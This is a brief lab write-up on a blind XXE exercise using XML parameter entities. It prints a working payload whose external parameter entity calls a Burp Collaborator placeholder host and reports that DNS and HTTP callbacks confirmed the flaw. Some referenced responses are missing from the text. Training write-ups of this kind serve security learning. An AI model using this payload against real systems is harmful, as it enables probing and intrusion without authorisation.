Lab - Blind XXE with out-of-band interaction via XML parameter entities

We tried the same Blind XXE attack we attempted on Lab - Blind XXE with out-of-band interaction via XML parameter entities, but received the following response:

We used the following payload to perform out-of-band interaction via XML parameter entities:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN">
  %xxe;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>

We inserted the Burp Collaborator payload and sent the request, but received the response as an XML error, as shown below:

After polling the collaborator, we were able to see the DNS and HTTP requests, confirming the vulnerability.

And we successfully solved the lab.

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